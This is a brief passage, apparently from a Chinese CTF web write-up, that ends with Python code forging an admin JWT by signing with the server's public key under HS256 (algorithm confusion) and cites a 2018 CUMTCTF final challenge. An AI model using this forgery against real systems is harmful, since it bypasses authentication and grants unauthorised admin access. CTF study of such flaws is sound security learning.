payload={
"username": "admin",
"role": "admin"
}
print(jwt.encode(payload, key=public, algorithm='HS256'))
可参考文章：2018CUMTCTF-Final-Web
扫一扫
399
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
